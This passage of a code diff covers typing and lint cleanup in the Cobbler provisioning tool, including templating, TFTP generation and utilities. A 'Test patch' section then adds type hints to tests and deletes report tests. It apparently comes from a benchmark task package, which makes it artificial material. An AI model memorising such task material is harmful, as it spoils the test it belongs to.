 any next version (e.g. 3.2.1 to 3.3.0).
 The validation of the current version is in the file with the name of the version.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de>
@@ -130,7 +131,7 @@ def __validate_module(name: ModuleType) -> bool:
         "normalize": "(settings:Dict[str,Any])->Dict[str,Any]",
         "migrate": "(settings:Dict[str,Any])->Dict[str,Any]",
     }
-    for (key, value) in module_methods.items():
+    for key, value in module_methods.items():
         if not hasattr(name, key):
             return False
         sig = str(signature(getattr(name, key))).replace(" ", "")
@@ -197,7 +198,7 @@ def get_settings_file_version(
 
     # Extra settings and ignored keys are excluded from validation
     data, _ = filter_settings_to_validate(yaml_dict, ignore_keys)
-    for (version, module_name) in VERSION_LIST.items():
+    for version, module_name in VERSION_LIST.items():
         if module_name.validate(data):
             return version
     return EMPTY_VERSION
diff --git a/cobbler/settings/migrations/helper.py b/cobbler/settings/migrations/helper.py
index 0327d4e4ff..8e791386c3 100644
--- a/cobbler/settings/migrations/helper.py
+++ b/cobbler/settings/migrations/helper.py
@@ -1,6 +1,7 @@
 """
 Helper module which contains shared logic for adjusting the settings.
 """
+
 # SPDX-License-Identifier: GPL-2.0-or-later
 # SPDX-FileCopyrightText: 2021 Dominik Gedon <dgedon@suse.de>
 # SPDX-FileCopyrightText: 2021 Enno Gotthold <egotthold@suse.de>
diff --git a/cobbler/templar.py b/cobbler/templar.py
index 9075912119..bece4584fb 100644
--- a/cobbler/templar.py
+++ b/cobbler/templar.py
@@ -27,7 +27,8 @@
 
     JINJA2_AVAILABLE = True
 except ModuleNotFoundError:
-    # FIXME: log a message here
+    # pylint: disable-next=invalid-name
+    jinja2 = None  # type: ignore
     JINJA2_AVAILABLE = False  # type: ignore
 
 
@@ -91,7 +92,7 @@ def render(
             raw_data = data_input
         lines = raw_data.split("\n")
 
-        if template_type is None:
+        if template_type is None:  # type: ignore
             raise ValueError('"template_type" can\'t be "None"!')
 
         if not isinstance(template_type, str):  # type: ignore
@@ -116,10 +117,7 @@ def render(
         if template_type == "cheetah":
             data_out = self.render_cheetah(raw_data, search_table)
         elif template_type == "jinja2":
-            if JINJA2_AVAILABLE:
-                data_out = self.render_jinja2(raw_data, search_table)
-            else:
-                return "# ERROR: JINJA2 NOT AVAILABLE. Maybe you need to install python-jinja2?\n"
+            data_out = self.render_jinja2(raw_data, search_table)
         else:
             return f"# ERROR: UNSUPPORTED TEMPLATE TYPE ({str(template_type)})"
 
@@ -211,7 +209,7 @@ def render_cheetah(self, raw_data: str, search_table: Dict[Any, Any]) -> str:
             generated_template_class = template(searchList=[search_table])  # type: ignore
             data_out = str(generated_template_class)  # type: ignore
             self.last_errors = generated_template_class.errorCatcher().listErrors()  # type: ignore
-            if self.last_errors:
+            if self.last_errors:  # type: ignore
                 self.logger.warning("errors were encountered rendering the template")
                 self.logger.warning("\n%s", pprint.pformat(self.last_errors))  # type: ignore
         except Exception as error:
@@ -230,7 +228,8 @@ def render_jinja2(self, raw_data: str, search_table: Dict[Any, Any]) -> str:
         :param search_table: is a dict of metadata keys and values
         :return: The rendered Jinja2 Template.
         """
-
+        if not JINJA2_AVAILABLE or jinja2 is None:
+            return "# ERROR: JINJA2 NOT AVAILABLE. Maybe you need to install python-jinja2?\n"
         try:
             if self.settings and self.settings.jinja2_includedir:
                 template = jinja2.Environment(
diff --git a/cobbler/tftpgen.py b/cobbler/tftpgen.py
index 0d971880a3..ce5864e80c 100644
--- a/cobbler/tftpgen.py
+++ b/cobbler/tftpgen.py
@@ -23,9 +23,9 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM_UNION
     from cobbler.items.distro import Distro
     from cobbler.items.image import Image
+    from cobbler.items.item import Item
     from cobbler.items.menu import Menu
     from cobbler.items.profile import Profile
     from cobbler.items.system import System
@@ -768,7 +768,7 @@ def get_submenus(
         if menu:
             childs = menu.children
         else:
-            childs = self.api.find_menu(return_list=True, **{"parent": ""})
+            childs = self.api.find_menu(return_list=True, parent="")
         if childs is None:
             childs = []
         if not isinstance(childs, list):
@@ -863,7 +863,7 @@ def get_profiles_menu(
         profile_filter = {"menu": menu_name}
         if arch:
             profile_filter["arch"] = arch.value
-        profile_list = self.api.find_profile(return_list=True, **profile_filter)
+        profile_list = self.api.find_profile(return_list=True, **profile_filter)  # type: ignore[reportArgumentType]
         if profile_list is None:
             profile_list = []
         if not isinstance(profile_list, list):
@@ -888,7 +888,7 @@ def get_profiles_menu(
                 if boot_loader not in profile.boot_loaders:
                     continue
                 self._get_item_menu(
-                    arch,
+                    arch,  # type: ignore
                     boot_loader,
                     current_menu_items,
                     menu_labels,
@@ -919,7 +919,7 @@ def get_images_menu(
         image_filter = {"menu": menu_name}
         if arch:
             image_filter["arch"] = arch.value
-        image_list = self.api.find_image(return_list=True, **image_filter)
+        image_list = self.api.find_image(return_list=True, **image_filter)  # type: ignore[reportArgumentType]
         if image_list is None:
             image_list = []
         if not isinstance(image_list, list):
@@ -1541,7 +1541,7 @@ def build_kernel_options(
 
     def write_templates(
         self,
-        obj: "ITEM_UNION",
+        obj: "Item",
         write_file: bool = False,
         path: Optional[str] = None,
     ) -> Dict[str, str]:
@@ -1566,7 +1566,7 @@ def write_templates(
 
         blended = utils.blender(self.api, False, obj)
 
-        if obj.COLLECTION_TYPE == "distro":
+        if obj.COLLECTION_TYPE == "distro":  # type: ignore
             if re.search("esxi[567]", obj.os_version) is not None:  # type: ignore
                 with open(
                     os.path.join(os.path.dirname(obj.kernel), "boot.cfg"),  # type: ignore
diff --git a/cobbler/utils/__init__.py b/cobbler/utils/__init__.py
index ccb05e1601..96d693cd32 100644
--- a/cobbler/utils/__init__.py
+++ b/cobbler/utils/__init__.py
@@ -43,7 +43,8 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.cobbler_collections.collection import ITEM, ITEM_UNION
+    from cobbler.cobbler_collections.collection import ITEM
+    from cobbler.items.item import Item
     from cobbler.settings import Settings
 
 CHEETAH_ERROR_DISCLAIMER = """
@@ -450,7 +451,7 @@ def file_is_remote(file_location: str) -> bool:
 
 
 def blender(
-    api_handle: "CobblerAPI", remove_dicts: bool, root_obj: "ITEM_UNION"  # type: ignore
+    api_handle: "CobblerAPI", remove_dicts: bool, root_obj: "Item"
 ) -> Dict[str, Any]:
     """
     Combine all of the data in an object tree from the perspective of that point on the tree, and produce a merged
@@ -470,14 +471,14 @@ def blender(
     # Make interfaces accessible without Cheetah-voodoo in the templates
     # EXAMPLE: $ip == $ip0, $ip1, $ip2 and so on.
 
-    if root_obj.COLLECTION_TYPE == "system":
+    if root_obj.COLLECTION_TYPE == "system":  # type: ignore
         for name, interface in root_obj.interfaces.items():  # type: ignore
             intf_dict = interface.to_dict()  # type: ignore
             for key in intf_dict:  # type: ignore
                 results[f"{key}_{name}"] = intf_dict[key]  # type: ignore
 
     # If the root object is a profile or system, add in all repo data for repos that belong to the object chain
-    if root_obj.COLLECTION_TYPE in ("profile", "system"):
+    if root_obj.COLLECTION_TYPE in ("profile", "system"):  # type: ignore
         repo_data: List[Dict[Any, Any]] = []
         for repo in results.get("repos", []):
             repo = api_handle.find_repo(name=repo)
diff --git a/cobbler/utils/input_converters.py b/cobbler/utils/input_converters.py
index 03cbc47dba..79a5c63e6a 100644
--- a/cobbler/utils/input_converters.py
+++ b/cobbler/utils/input_converters.py
@@ -69,7 +69,7 @@ def input_string_or_dict_no_inherit(
     """
     See :meth:`~cobbler.utils.input_converters.input_string_or_dict`
     """
-    if options is None or options == "delete":
+    if options is None or options == "delete":  # type: ignore[reportUnnecessaryComparison]
         return {}
     if isinstance(options, list):
         raise TypeError(f"No idea what to do with list: {options}")
@@ -114,7 +114,7 @@ def input_boolean(value: Union[str, bool, int]) -> bool:
     :param value: The value to convert to boolean.
     :return: True if the value is in the following list, otherwise false: "true", "1", "on", "yes", "y" .
     """
-    if not isinstance(value, (str, bool, int)):
+    if not isinstance(value, (str, bool, int)):  # type: ignore[reportUnnecessaryIsInstance]
         raise TypeError(
             "The value handed to the input_boolean function was not convertable due to a wrong type "
             f"(found: {type(value)})!"
diff --git a/cobbler/validate.py b/cobbler/validate.py
index 3a89db0474..78a4354f61 100644
--- a/cobbler/validate.py
+++ b/cobbler/validate.py
@@ -307,7 +307,7 @@ def validate_repos(
         return enums.VALUE_INHERITED
 
     # store as an array regardless of input type
-    if repos is None:
+    if repos is None:  # type: ignore
         repos = []
     else:
         # TODO: Don't store the names. Store the internal references.
diff --git a/cobbler/yumgen.py b/cobbler/yumgen.py
index 369a5b83d4..464f9a5b6c 100644
--- a/cobbler/yumgen.py
+++ b/cobbler/yumgen.py
@@ -14,7 +14,7 @@
 
 if TYPE_CHECKING:
     from cobbler.api import CobblerAPI
-    from cobbler.items.abstract.base_item import ITEM
+    from cobbler.items.abstract.base_item import BaseItem
 
 
 class YumGen:
@@ -32,7 +32,7 @@ def __init__(self, api: "CobblerAPI"):
         self.settings = api.settings()
         self.templar = templar.Templar(self.api)
 
-    def get_yum_config(self, obj: "ITEM", is_profile: bool) -> str:
+    def get_yum_config(self, obj: "BaseItem", is_profile: bool) -> str:
         """
         Return one large yum repo config blob suitable for use by any target system that requests it.
 
@@ -40,7 +40,7 @@ def get_yum_config(self, obj: "ITEM", is_profile: bool) -> str:
         :param is_profile: If the requested object is a profile. (Parameter not used currently)
         :return: The generated yumconfig or the errors.
         """
-
+        del is_profile
         totalbuf = ""
 
         blended = utils.blender(self.api, False, obj)  # type: ignore
diff --git a/pyproject.toml b/pyproject.toml
index 1354d45e4e..a41085c1aa 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -11,4 +11,4 @@ sections="FUTURE,STDLIB,FIRSTPARTY,THIRDPARTY,LOCALFOLDER,COBBLER,TESTS"
 pythonVersion = "3.6"
 typeCheckingMode = "strict"
 useLibraryCodeForTypes = true
-reportImportCycles = "warning"
+exclude = ["build", "cobbler/cli.py", "venv", ".venv", "tests/cli/*.py", "contrib/**/*.py"]
diff --git a/setup.py b/setup.py
index 226169c19d..62fb4e782e 100644
--- a/setup.py
+++ b/setup.py
@@ -27,7 +27,7 @@
     # https://github.com/cobbler/cobbler/issues/3692
     from setuptools import modified
 except ImportError:
-    from setuptools import dep_util as modified
+    from setuptools import dep_util as modified  # type: ignore
 
 VERSION = "3.4.0"
 OUTPUT_DIR = "config"
@@ -547,7 +547,7 @@ def run(self):
     setup(
         distclass=Distribution,
         cmdclass={
-            "build": Build,
+            "build": Build,  # type: ignore
             "build_py": BuildPy,
             "test": TestCommand,
             "install": Install,


Test patch:
diff --git a/tests/actions/acl_test.py b/tests/actions/acl_test.py
index 6693848332..6d89a4d05e 100644
--- a/tests/actions/acl_test.py
+++ b/tests/actions/acl_test.py
@@ -1,17 +1,30 @@
+"""
+Tests that validate the functionality of the module that is responsible for (de)serializing items to MongoDB.
+"""
+
+from typing import TYPE_CHECKING, Any, List, Optional
+
 import pytest
 
 from cobbler.actions import acl
+from cobbler.api import CobblerAPI
 from cobbler.cexceptions import CX
 
 from tests.conftest import does_not_raise
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
-@pytest.fixture(scope="function")
-def acl_object(cobbler_api):
+@pytest.fixture(name="acl_object", scope="function")
+def fixture_acl_object(cobbler_api: CobblerAPI) -> acl.AclConfig:
+    """
+    Fixture to provide a fresh AclConfig object for every test.
+    """
     return acl.AclConfig(cobbler_api)
 
 
-def test_object_creation(cobbler_api):
+def test_object_creation(cobbler_api: CobblerAPI):
     # Arrange & Act
     result = acl.AclConfig(cobbler_api)
 
@@ -31,16 +44,16 @@ def test_object_creation(cobbler_api):
     ],
 )
 def test_run(
-    mocker,
-    acl_object,
-    input_adduser,
-    input_addgroup,
-    input_removeuser,
-    input_removegroup,
-    expected_isadd,
-    expected_isuser,
-    expected_who,
-    expected_exception,
+    mocker: "MockerFixture",
+    acl_object: acl.AclConfig,
+    input_adduser: Optional[str],
+    input_addgroup: Optional[str],
+    input_removeuser: Optional[str],
+    input_removegroup: Optional[str],
+    expected_isadd: bool,
+    expected_isuser: bool,
+    expected_who: str,
+    expected_exception: Any,
 ):
     # Arrange
     mock_modacl = mocker.patch.object(acl_object, "modacl")
@@ -93,14 +106,14 @@ def test_run(
     ],
 )
 def test_modacl(
-    mocker,
-    acl_object,
-    input_isadd,
-    input_isuser,
-    input_user,
-    input_subprocess_call_effect,
-    expected_mock_die_count,
-    expected_first_setfacl,
+    mocker: "MockerFixture",
+    acl_object: acl.AclConfig,
+    input_isadd: bool,
+    input_isuser: bool,
+    input_user: str,
+    input_subprocess_call_effect: List[int],
+    expected_mock_die_count: int,
+    expected_first_setfacl: List[str],
 ):
     # Arrange
     # Each subprocess.call is used two times per directory of which we have (seven in a default config)
diff --git a/tests/actions/buildiso/buildiso_test.py b/tests/actions/buildiso/buildiso_test.py
index 9666577db1..c3793b1868 100644
--- a/tests/actions/buildiso/buildiso_test.py
+++ b/tests/actions/buildiso/buildiso_test.py
@@ -1,4 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for building bootable ISOs.
+"""
+
 import os
+from typing import Any, Callable, Dict
 
 import pytest
 
@@ -7,6 +12,11 @@
 from cobbler.actions.buildiso import LoaderCfgsParts
 from cobbler.actions.buildiso.netboot import NetbootBuildiso
 from cobbler.actions.buildiso.standalone import StandaloneBuildiso
+from cobbler.api import CobblerAPI
+from cobbler.items.distro import Distro
+from cobbler.items.image import Image
+from cobbler.items.profile import Profile
+from cobbler.items.system import System
 
 from tests.conftest import does_not_raise
 
@@ -26,10 +36,10 @@
     ],
 )
 def test_calculate_grub_name(
-    input_arch,
-    result_binary_name,
-    expected_exception,
-    cobbler_api,
+    input_arch: enums.Archs,
+    result_binary_name: str,
+    expected_exception: Any,
+    cobbler_api: CobblerAPI,
 ):
     # Arrange
     test_builder = buildiso.BuildIso(cobbler_api)
@@ -55,7 +65,7 @@ def test_calculate_grub_name(
         ({"test": ['"test"', "test"]}, ' test="test" test=test'),
     ],
 )
-def test_add_remaining_kopts(input_kopts_dict, exepcted_output):
+def test_add_remaining_kopts(input_kopts_dict: Dict[str, Any], exepcted_output: str):
     # Arrange (missing)
     # Act
     output = buildiso.add_remaining_kopts(input_kopts_dict)
@@ -64,7 +74,7 @@ def test_add_remaining_kopts(input_kopts_dict, exepcted_output):
     assert output == exepcted_output
 
 
-def test_make_shorter(cobbler_api):
+def test_make_shorter(cobbler_api: CobblerAPI):
     # Arrange
     build_iso = NetbootBuildiso(cobbler_api)
     distroname = "Testdistro"
@@ -78,32 +88,37 @@ def test_make_shorter(cobbler_api):
     assert result == "1"
 
 
-def test_copy_boot_files(cobbler_api, create_distro, tmpdir):
+def test_copy_boot_files(
+    cobbler_api: CobblerAPI, create_distro: Callable[[], Distro], tmpdir: Any
+):
     # Arrange
-    target_folder = tmpdir.mkdir("target")
+    target_folder: str = tmpdir.mkdir("target")
     build_iso = buildiso.BuildIso(cobbler_api)
     testdistro = create_distro()
 
     # Act
-    build_iso._copy_boot_files(testdistro.kernel, testdistro.initrd, target_folder)
+    build_iso._copy_boot_files(testdistro.kernel, testdistro.initrd, target_folder)  # type: ignore[reportPrivateUsage]
 
     # Assert
     assert len(os.listdir(target_folder)) == 2
 
 
 def test_netboot_generate_boot_loader_configs(
-    cobbler_api, create_distro, create_profile, create_system
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Callable[[str], System],
 ):
     test_distro = create_distro()
-    test_distro.kernel_options = "test_distro_option=distro"
+    test_distro.kernel_options = "test_distro_option=distro"  # type: ignore
     test_profile = create_profile(test_distro.name)
-    test_profile.kernel_options = "test_profile_option=profile"
+    test_profile.kernel_options = "test_profile_option=profile"  # type: ignore
     test_system = create_system(test_profile.name)
-    test_system.kernel_options = "test_system_option=system"
+    test_system.kernel_options = "test_system_option=system"  # type: ignore
     build_iso = NetbootBuildiso(cobbler_api)
 
     # Act
-    result = build_iso._generate_boot_loader_configs(
+    result = build_iso._generate_boot_loader_configs(  # type: ignore[reportPrivateUsage]
         [test_profile.name], [test_system.name], True
     )
     matching_isolinux_kernel = [
@@ -156,13 +171,17 @@ def test_netboot_generate_boot_loader_configs(
 
 
 def test_filter_system(
-    cobbler_api, create_distro, create_profile, create_system, create_image
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+    create_system: Any,
+    create_image: Callable[[], Image],
 ):
     test_distro = create_distro()
     test_profile = create_profile(test_distro.name)
     test_system_profile = create_system(profile_name=test_profile.name)
     test_image = create_image()
-    test_system_image = create_system(
+    test_system_image: System = create_system(
         image_name=test_image.name, name="test_filter_system_image_image"
     )
     itemlist = [test_system_profile.name, test_system_image.name]
@@ -176,7 +195,11 @@ def test_filter_system(
     assert expected_result == result
 
 
-def test_filter_profile(cobbler_api, create_distro, create_profile):
+def test_filter_profile(
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    create_profile: Callable[[str], Profile],
+):
     # Arrange
     test_distro = create_distro()
     test_profile = create_profile(test_distro.name)
@@ -192,9 +215,9 @@ def test_filter_profile(cobbler_api, create_distro, create_profile):
 
 
 def test_netboot_run(
-    cobbler_api,
-    create_distro,
-    tmpdir,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    tmpdir: Any,
 ):
     # Arrange
     test_distro = create_distro()
@@ -209,14 +232,14 @@ def test_netboot_run(
 
 
 def test_standalone_run(
-    cobbler_api,
-    create_distro,
-    tmpdir_factory,
+    cobbler_api: CobblerAPI,
+    create_distro: Callable[[], Distro],
+    tmpdir_factory: pytest.TempPathFactory,
 ):
     # Arrange
     iso_directory = tmpdir_factory.mktemp("isodir")
     iso_source = tmpdir_factory.mktemp("isosource")
-    iso_location = iso_directory.join("autoinst.iso")
+    iso_location: Any = iso_directory.join("autoinst.iso")  # type: ignore
     test_distro = create_distro()
     build_iso = StandaloneBuildiso(cobbler_api)
 
diff --git a/tests/actions/buildiso/conftest.py b/tests/actions/buildiso/conftest.py
index 4105778939..d89830feb0 100644
--- a/tests/actions/buildiso/conftest.py
+++ b/tests/actions/buildiso/conftest.py
@@ -1,9 +1,17 @@
+"""
+Shared fixture module for buildiso tests.
+"""
+
 import pytest
 
 from cobbler.actions import mkloaders
+from cobbler.api import CobblerAPI
 
 
 @pytest.fixture(scope="function", autouse=True)
-def create_loaders(cobbler_api):
+def create_loaders(cobbler_api: CobblerAPI):
+    """
+    Fixture to create bootloaders on disk for buildiso tests.
+    """
     loaders = mkloaders.MkLoaders(cobbler_api)
     loaders.run()
diff --git a/tests/actions/mkloaders_test.py b/tests/actions/mkloaders_test.py
index 8a7294eeb5..971f053bca 100644
--- a/tests/actions/mkloaders_test.py
+++ b/tests/actions/mkloaders_test.py
@@ -1,14 +1,22 @@
+"""
+Tests that validate the functionality of the module that is responsible for creating the networked bootloaders.
+"""
+
 import pathlib
 import re
 import subprocess
+from typing import TYPE_CHECKING
 
 import pytest
 
-import cobbler.actions.mkloaders
 from cobbler.actions import mkloaders
+from cobbler.api import CobblerAPI
+
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
 
 
-def test_grubimage_object(cobbler_api):
+def test_grubimage_object(cobbler_api: CobblerAPI):
     # Arrange & Act
     test_image_creator = mkloaders.MkLoaders(cobbler_api)
 
@@ -17,30 +25,27 @@ def test_grubimage_object(cobbler_api):
     assert str(test_image_creator.syslinux_folder) == "/usr/share/syslinux"
 
 
-def test_grubimage_run(cobbler_api, mocker):
+def test_grubimage_run(cobbler_api: CobblerAPI, mocker: "MockerFixture"):
     # Arrange
     test_image_creator = mkloaders.MkLoaders(cobbler_api)
-    mocker.patch(
-        "cobbler.actions.mkloaders.symlink", spec=cobbler.actions.mkloaders.symlink
-    )
-    mocker.patch(
-        "cobbler.actions.mkloaders.mkimage", spec=cobbler.actions.mkloaders.mkimage
-    )
+    mocker.patch("cobbler.actions.mkloaders.symlink", spec=mkloaders.symlink)
+    mocker.patch("cobbler.actions.mkloaders.mkimage", spec=mkloaders.mkimage)
 
     # Act
     test_image_creator.run()
 
     # Assert
+    # pylint: disable=no-member
     # On a full install: 3 common formats, 4 syslinux links and 9 bootloader formats
     # In our test container we have: shim (1x), ipxe (1x), syslinux v4 (3x) and 3 grubs (4x)
     # On GH we have: shim (1x), ipxe (1x), syslinux v4 (3x) and 3 grubs (3x)
-    assert mkloaders.symlink.call_count == 8
+    assert mkloaders.symlink.call_count == 8  # type: ignore[reportFunctionMemberAccess]
     # In our test container we have: x86_64, arm64-efi, i386-efi & i386-pc-pxe
     # On GH we have: x86_64, i386-efi & i386-pc-pxe
-    assert mkloaders.mkimage.call_count == 3
+    assert mkloaders.mkimage.call_count == 3  # type: ignore[reportFunctionMemberAccess]
 
 
-def test_mkimage(mocker):
+def test_mkimage(mocker: "MockerFixture"):
     # Arrange
     mkimage_args = {
         "image_format": "grubx64.efi",
@@ -50,10 +55,11 @@ def test_mkimage(mocker):
     mocker.patch("cobbler.actions.mkloaders.subprocess.run", spec=subprocess.run)
 
     # Act
-    mkloaders.mkimage(**mkimage_args)
+    mkloaders.mkimage(**mkimage_args)  # type: ignore[reportArgumentType]
 
     # Assert
-    mkloaders.subprocess.run.assert_called_once_with(
+    # pylint: disable=no-member
+    mkloaders.subprocess.run.assert_called_once_with(  # type: ignore[reportFunctionMemberAccess]
         [
             "grub2-mkimage",
             "--format",
@@ -61,7 +67,7 @@ def test_mkimage(mocker):
             "--output",
             str(mkimage_args["image_filename"]),
             "--prefix=",
-            *mkimage_args["modules"],
+            *mkimage_args["modules"],  # type: ignore[reportGeneralTypeIssues]
         ],
         check=True,
     )
@@ -100,7 +106,7 @@ def test_find_file(tmp_path: pathlib.Path):
     assert invalid_file == None
 
 
-def test_symlink_link_exists(tmp_path):
+def test_symlink_link_exists(tmp_path: pathlib.Path):
     # Arrange
     target = tmp_path / "target"
     target.touch()
@@ -115,7 +121,7 @@ def test_symlink_link_exists(tmp_path):
     mkloaders.symlink(link, target, skip_existing=True)
 
 
-def test_symlink_target_missing(tmp_path):
+def test_symlink_target_missing(tmp_path: pathlib.Path):
     # Arrange
     target = tmp_path / "target"
     link = tmp_path / "link"
@@ -125,7 +131,7 @@ def test_symlink_target_missing(tmp_path):
         mkloaders.symlink(target, link)
 
 
-def test_get_syslinux_version(mocker):
+def test_get_syslinux_version(mocker: "MockerFixture"):
     # Arrange
     mocker.patch(
         "cobbler.actions.mkloaders.subprocess.run",
diff --git a/tests/actions/report_test.py b/tests/actions/report_test.py
deleted file mode 100644
index 99286689a6..0000000000
--- a/tests/actions/report_test.py
+++ /dev/null
@@ -1,260 +0,0 @@
-import contextlib
-
-import pytest
-
-from cobbler.actions import report
-
-from tests.conftest import does_not_raise
-
-
-@pytest.fixture(scope="function")
-def reporter(cobbler_api):
-    return report.Report(cobbler_api)
-
-
-def test_fielder(reporter):
-    # Arrange
-    input_structure = {}
-    input_fields_list = []
-
-    # Act
-    result = reporter.fielder(input_structure, input_fields_list)
-
-    # Assert
-    assert result is not None
-
-
-def test_reporting_csv(reporter):
-    # Arrange
-    input_info = [
-        {"name": "test", "uid": "adsökjnvskpdjnbfpsn"},
-        {"name": "test2", "uid": "asdkjnfdn"},
-    ]
-    input_order = ["name", "uid"]
-    input_noheaders = False
-    expected_result = "name,uid,\ntest,adsökjnvskpdjnbfpsn,\ntest2,asdkjnfdn,\n"
-
-    # Act
-    result = reporter.reporting_csv(input_info, input_order, input_noheaders)
-
-    # Assert
-    assert result == expected_result
-
-
-def test_reporting_trac(reporter):
-    # Arrange
-    input_info = [
-        {"name": "test", "uid": "adsökjnvskpdjnbfpsn"},
-        {"name": "test2", "uid": "asdkjnfdn"},
-    ]
-    input_order = ["name", "uid"]
-    input_noheaders = False
-    expected_result = (
-        "||name||uid||\n||test||adsökjnvskpdjnbfpsn||\n||test2||asdkjnfdn||\n"
-    )
-
-    # Act
-    result = reporter.reporting_trac(input_info, input_order, input_noheaders)
-
-    # Assert
-    assert result == expected_result
-
-
-def test_reporting_doku(reporter):
-    # Arrange
-    input_info = [
-        {"name": "test", "uid": "adsökjnvskpdjnbfpsn"},
-        {"name": "test2", "uid": "asdkjnfdn"},
-    ]
-    input_order = ["name", "uid"]
-    input_noheaders = False
-    expected_result = "^name^uid^\n|test|adsökjnvskpdjnbfpsn|\n|test2|asdkjnfdn|\n"
-
-    # Act
-    result = reporter.reporting_doku(input_info, input_order, input_noheaders)
-
-    # Assert
-    assert result == expected_result
-
-
-def test_reporting_mediawiki(reporter):
-    # Arrange
-    input_info = [
-        {"name": "test", "uid": "adsökjnvskpdjnbfpsn"},
-        {"name": "test2", "uid": "asdkjnfdn"},
-    ]
-    input_order = ["name", "uid"]
-    input_noheaders = False
-    expected_result = '{| border="1"\n|name||uid\n|-\n|test||adsökjnvskpdjnbfpsn\n|-\n|test2||asdkjnfdn\n|-\n|}\n'
-
-    # Act
-    result = reporter.reporting_mediawiki(input_info, input_order, input_noheaders)
-
-    # Assert
-    assert result == expected_result
-
-
-@pytest.mark.parametrize(
-    "input_report_type,expected_exception",
-    [
-        ("csv", does_not_raise()),
-        ("mediawiki", does_not_raise()),
-        ("trac", does_not_raise()),
-        ("doku", does_not_raise()),
-        ("garbage", pytest.raises(ValueError)),
-    ],
-)
-def test_print_formatted_data(mocker, reporter, input_report_type, expected_exception):
-    # Arrange
-    with contextlib.suppress(AttributeError):
-        mock_reporting = mocker.patch.object(reporter, f"reporting_{input_report_type}")
-
-    # Act
-    with expected_exception:
-        reporter.print_formatted_data([], [], input_report_type, True)
-
-        # Assert
-        if input_report_type == "garbarge":
-            pytest.fail("Test did not match any of the expected assertions!")
-        else:
-            mock_reporting.assert_called_with([], [], True)
-
-
-class MockTestItem:
-    def __init__(self, name):
-        self.name = name
-
-    def to_string(self):
-        return "mytest"
-
-
-def test_reporting_print_sorted(mocker, reporter):
-    # Arrange
-    input_collection = [MockTestItem("test1")]
-    mock_print = mocker.patch("builtins.print")
-
-    # Act
-    reporter.reporting_print_sorted(input_collection)
-
-    # Assert
-    assert mock_print.call_count == 1
-    assert mock_print.called_with("mytest")
-
-
-def test_reporting_names2(mocker, reporter):
-    # Arrange
-    input_collection = {"test1": MockTestItem("test1")}
-    input_name = "test1"
-    mock_print = mocker.patch("builtins.print")
-
-    # Act
-    reporter.reporting_list_names2(input_collection, input_name)
-
-    # Assert
-    assert mock_print.call_count == 1
-    assert mock_print.called_with("mytest")
-
-
-def test_reporting_print_all_fields(mocker, reporter):
-    # Arrange
-    input_collection = []
-    input_report_name = ""
-    input_report_type = ""
-    input_report_noheaders = True
-    mock_print_formatted_data = mocker.patch.object(reporter, "print_formatted_data")
-
-    # Act
-    reporter.reporting_print_all_fields(
-        input_collection,
-        input_report_name,
-        input_report_type,
-        input_report_noheaders,
-    )
-
-    # Assert
-    assert mock_print_formatted_data.call_count == 1
-    # TODO: Tighter checking
-    assert mock_print_formatted_data.called_with(
-        mocker.ANY, mocker.ANY, mocker.ANY, mocker.ANY
-    )
-
-
-def test_reporting_print_x_fields(mocker, reporter):
-    # Arrange
-    input_collection = []
-    input_report_name = ""
-    input_report_type = ""
-    input_report_fields = ""
-    input_report_noheaders = True
-    fake_fielder_return = {"key1": "fake data"}
-    expected_result = [fake_fielder_return]
-    mocker.patch.object(reporter, "fielder", return_value=fake_fielder_return)
-    mock_formatted_data = mocker.patch.object(reporter, "print_formatted_data")
-
-    # Act
-    reporter.reporting_print_x_fields(
-        input_collection,
-        input_report_name,
-        input_report_type,
-        input_report_fields,
-        input_report_noheaders,
-    )
-
-    # Assert
-    assert mock_formatted_data.call_count == 1
-    # TODO: Tighter checking
-    assert mock_formatted_data.called_with(
-        expected_result, mocker.ANY, mocker.ANY, mocker.ANY
-    )
-
-
-@pytest.mark.parametrize(
-    "input_report_what,input_report_name,input_report_type,input_report_fields,expected_print_all_fields_count,"
-    "expected_print_x_fields_count,expected_print_sorted_count,expected_list_names2_count",
-    [
-        ("text", "", "", "", 0, 0, 0, 0),
-        ("", "", "", "", 0, 0, 0, 0),
-    ],
-)
-def test_run(
-    mocker,
-    reporter,
-    input_report_what,  # symbols the collection to report
-    input_report_name,  # symbols the name of the collection items to report
-    input_report_type,  # valid values: all, csv, mediawiki, trac, doku
-    input_report_fields,  # valid values: all or a comma delimited str where spaces get removed
-    expected_print_all_fields_count,
-    expected_print_x_fields_count,
-    expected_print_sorted_count,
-    expected_list_names2_count,
-):
-    # Arrange
-    input_report_noheaders = True
-    mock_reporting_print_all_fields = mocker.patch.object(
-        reporter, "reporting_print_all_fields", return_value=None
-    )
-    mock_reporting_print_x_fields = mocker.patch.object(
-        reporter, "reporting_print_x_fields", return_value=None
-    )
-    mock_reporting_print_sorted = mocker.patch.object(
-        reporter, "reporting_print_sorted", return_value=None
-    )
-    mock_reporting_list_names2 = mocker.patch.object(
-        reporter, "reporting_list_names2", return_value=None
-    )
-
-    # Act
-    reporter.run(
-        input_report_what,
-        input_report_name,
-        input_report_type,
-        input_report_fields,
-        input_report_noheaders,
-    )
-
-    # Assert
-    # TODO: Tighter checking
-    assert mock_reporting_print_all_fields.call_count == expected_print_all_fields_count
-    assert mock_reporting_print_x_fields.call_count == expected_print_x_fields_count
-    assert mock_reporting_print_sorted.call_count == expected_print_sorted_count
-    assert mock_reporting_list_names2.call_count == expected_list_names2_count
diff --git a/tests/actions/reposync_test.py b/tests/actions/reposync_test.py
index 1f933b65ba..898bcdda07 100644
--- a/tests/actions/reposync_test.py
